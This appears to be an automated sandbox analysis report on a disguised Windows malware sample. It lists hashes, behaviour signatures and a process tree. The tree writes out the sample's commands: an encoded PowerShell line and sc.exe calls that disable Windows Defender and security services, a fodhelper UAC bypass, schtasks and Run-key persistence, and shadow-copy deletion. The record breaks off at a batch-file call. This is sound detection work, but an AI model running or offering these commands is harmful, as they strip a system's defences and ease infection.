Analysis
- max time kernel
149s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 09:09
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
colourblender.io_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
colourblender.io_hyber.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target colourblender.io_hyber.exe
- Size 49KB
- Sample260803-k4j2pasgja
- SHA256 fe4afafb3f0f13c8d335391f83adf57aabfe16857e7b0f626e6aeb6a93d2438f
- MD5 c4fd7c3a57e129ecf32322581b195b53
- SHA1 de07506dd1194ac5cb9ec6393c237d5beb90c4f0
- SHA512 2b53fb955d92b6dc339b96be6377c1c5ff25013699667d631493176e7fd4c66ec74b13a1bb085ba29da374f904166d4fcda7c96386c7840c3484462ee5adf48c
- SSDEEP 768:QrVZZ6zs0hnGjj0TfgN47c3nP8IqQ/NaPzfX/fJ5U4Rvj:mZ6HhKATfgN47QnP8hQmP/fJ5U4Rvj
- TLSH T1D133F64937ED4121E2BF4ABE89F251118731F463DD23DB9E0AD8459E19F37008DA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/5856-1-0x00000000009D0000-0x00000000009E2000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" colourblender.io_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5672 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" colourblender.io_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts colourblender.io_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 3912 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf colourblender.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf colourblender.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf colourblender.io_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\colourblender.io_hyber.exe" colourblender.io_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 3864 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe colourblender.io_hyber.exe File created C:\Windows\system32\sysupdate.exe colourblender.io_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe colourblender.io_hyber.exe File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 4796 wscript.exe 4848 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" colourblender.io_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\1293781730.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2684 sc.exe 4220 sc.exe 600 sc.exe 4180 sc.exe 2340 sc.exe 2724 sc.exe 2952 sc.exe 5172 sc.exe 4124 sc.exe 4896 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5224 cmd.exe 1120 cmd.exe 4720 cmd.exe 3552 cmd.exe 4236 cmd.exe 3184 cmd.exe 1516 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 5320 ipconfig.exe 2420 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5932 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5420 vssadmin.exe 5872 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2" colourblender.io_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings colourblender.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell colourblender.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open colourblender.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet colourblender.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open colourblender.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings colourblender.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command colourblender.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" colourblender.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open colourblender.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command colourblender.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell colourblender.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\colourblender.io_hyber.exe" colourblender.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute colourblender.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\colourblender.io_hyber.exe\" \"%1\"" colourblender.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command colourblender.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell colourblender.io_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4552 schtasks.exe 5504 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5672 powershell.exe 5672 powershell.exe 5672 powershell.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 2136 WMIC.exe 2136 WMIC.exe 2136 WMIC.exe 2136 WMIC.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 1488 WMIC.exe 1488 WMIC.exe 1488 WMIC.exe 1488 WMIC.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe 5856 colourblender.io_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2932 LogonUI.exe Token: SeCreatePagefilePrivilege 2932 LogonUI.exe Token: SeDebugPrivilege 5856 colourblender.io_hyber.exe Token: SeDebugPrivilege 5672 powershell.exe Token: SeIncreaseQuotaPrivilege 5672 powershell.exe Token: SeSecurityPrivilege 5672 powershell.exe Token: SeTakeOwnershipPrivilege 5672 powershell.exe Token: SeLoadDriverPrivilege 5672 powershell.exe Token: SeSystemProfilePrivilege 5672 powershell.exe Token: SeSystemtimePrivilege 5672 powershell.exe Token: SeProfSingleProcessPrivilege 5672 powershell.exe Token: SeIncBasePriorityPrivilege 5672 powershell.exe Token: SeCreatePagefilePrivilege 5672 powershell.exe Token: SeBackupPrivilege 5672 powershell.exe Token: SeRestorePrivilege 5672 powershell.exe Token: SeShutdownPrivilege 5672 powershell.exe Token: SeDebugPrivilege 5672 powershell.exe Token: SeSystemEnvironmentPrivilege 5672 powershell.exe Token: SeRemoteShutdownPrivilege 5672 powershell.exe Token: SeUndockPrivilege 5672 powershell.exe Token: SeManageVolumePrivilege 5672 powershell.exe Token: 33 5672 powershell.exe Token: 34 5672 powershell.exe Token: 35 5672 powershell.exe Token: 36 5672 powershell.exe Token: SeIncBasePriorityPrivilege 5856 colourblender.io_hyber.exe Token: SeIncreaseQuotaPrivilege 5672 powershell.exe Token: SeSecurityPrivilege 5672 powershell.exe Token: SeTakeOwnershipPrivilege 5672 powershell.exe Token: SeLoadDriverPrivilege 5672 powershell.exe Token: SeSystemProfilePrivilege 5672 powershell.exe Token: SeSystemtimePrivilege 5672 powershell.exe Token: SeProfSingleProcessPrivilege 5672 powershell.exe Token: SeIncBasePriorityPrivilege 5672 powershell.exe Token: SeCreatePagefilePrivilege 5672 powershell.exe Token: SeBackupPrivilege 5672 powershell.exe Token: SeRestorePrivilege 5672 powershell.exe Token: SeShutdownPrivilege 5672 powershell.exe Token: SeDebugPrivilege 5672 powershell.exe Token: SeSystemEnvironmentPrivilege 5672 powershell.exe Token: SeRemoteShutdownPrivilege 5672 powershell.exe Token: SeUndockPrivilege 5672 powershell.exe Token: SeManageVolumePrivilege 5672 powershell.exe Token: 33 5672 powershell.exe Token: 34 5672 powershell.exe Token: 35 5672 powershell.exe Token: 36 5672 powershell.exe Token: SeDebugPrivilege 3864 tasklist.exe Token: SeDebugPrivilege 2384 whoami.exe Token: SeIncreaseQuotaPrivilege 2136 WMIC.exe Token: SeSecurityPrivilege 2136 WMIC.exe Token: SeTakeOwnershipPrivilege 2136 WMIC.exe Token: SeLoadDriverPrivilege 2136 WMIC.exe Token: SeSystemProfilePrivilege 2136 WMIC.exe Token: SeSystemtimePrivilege 2136 WMIC.exe Token: SeProfSingleProcessPrivilege 2136 WMIC.exe Token: SeIncBasePriorityPrivilege 2136 WMIC.exe Token: SeCreatePagefilePrivilege 2136 WMIC.exe Token: SeBackupPrivilege 2136 WMIC.exe Token: SeRestorePrivilege 2136 WMIC.exe Token: SeShutdownPrivilege 2136 WMIC.exe Token: SeDebugPrivilege 2136 WMIC.exe Token: SeSystemEnvironmentPrivilege 2136 WMIC.exe Token: SeRemoteShutdownPrivilege 2136 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 5856 colourblender.io_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2932 LogonUI.exe 2932 LogonUI.exe 5856 colourblender.io_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 5856 wrote to memory of 5672 5856 colourblender.io_hyber.exe 90 PID 5856 wrote to memory of 2340 5856 colourblender.io_hyber.exe 92 PID 5856 wrote to memory of 4896 5856 colourblender.io_hyber.exe 94 PID 5856 wrote to memory of 5172 5856 colourblender.io_hyber.exe 96 PID 5856 wrote to memory of 2684 5856 colourblender.io_hyber.exe 98 PID 5856 wrote to memory of 2724 5856 colourblender.io_hyber.exe 100 PID 5856 wrote to memory of 4220 5856 colourblender.io_hyber.exe 102 PID 5856 wrote to memory of 2952 5856 colourblender.io_hyber.exe 104 PID 5856 wrote to memory of 600 5856 colourblender.io_hyber.exe 106 PID 5856 wrote to memory of 2852 5856 colourblender.io_hyber.exe 108 PID 2852 wrote to memory of 5340 2852 fodhelper.exe 109 PID 5856 wrote to memory of 4848 5856 colourblender.io_hyber.exe 111 PID 5856 wrote to memory of 4552 5856 colourblender.io_hyber.exe 113 PID 5856 wrote to memory of 1120 5856 colourblender.io_hyber.exe 119 PID 5856 wrote to memory of 5224 5856 colourblender.io_hyber.exe 120 PID 5856 wrote to memory of 1516 5856 colourblender.io_hyber.exe 121 PID 5856 wrote to memory of 3184 5856 colourblender.io_hyber.exe 122 PID 5856 wrote to memory of 4236 5856 colourblender.io_hyber.exe 123 PID 5856 wrote to memory of 3552 5856 colourblender.io_hyber.exe 124 PID 5856 wrote to memory of 4720 5856 colourblender.io_hyber.exe 125 PID 5856 wrote to memory of 5504 5856 colourblender.io_hyber.exe 129 PID 5856 wrote to memory of 1648 5856 colourblender.io_hyber.exe 134 PID 5856 wrote to memory of 4796 5856 colourblender.io_hyber.exe 136 PID 5856 wrote to memory of 5420 5856 colourblender.io_hyber.exe 137 PID 3552 wrote to memory of 5320 3552 cmd.exe 138 PID 5856 wrote to memory of 2136 5856 colourblender.io_hyber.exe 139 PID 5856 wrote to memory of 924 5856 colourblender.io_hyber.exe 140 PID 5856 wrote to memory of 3912 5856 colourblender.io_hyber.exe 141 PID 5856 wrote to memory of 4124 5856 colourblender.io_hyber.exe 142 PID 5856 wrote to memory of 4180 5856 colourblender.io_hyber.exe 143 PID 3184 wrote to memory of 2384 3184 cmd.exe 150 PID 1516 wrote to memory of 3864 1516 cmd.exe 151 PID 1120 wrote to memory of 5872 1120 cmd.exe 152 PID 4720 wrote to memory of 2420 4720 cmd.exe 154 PID 5224 wrote to memory of 5932 5224 cmd.exe 155 PID 4236 wrote to memory of 1416 4236 cmd.exe 153 PID 924 wrote to memory of 4956 924 net.exe 156 PID 1416 wrote to memory of 3360 1416 net.exe 158 PID 1120 wrote to memory of 1488 1120 cmd.exe 161 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\colourblender.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\colourblender.io_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5856 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5672
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2340
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:4896
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:5172
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:2684
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:2724
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:4220
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:2952
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:600
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Users\Admin\AppData\Local\Temp\colourblender.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\colourblender.io_hyber.exe"3⤵PID:5340
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4848
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\colourblender.io_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4552
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
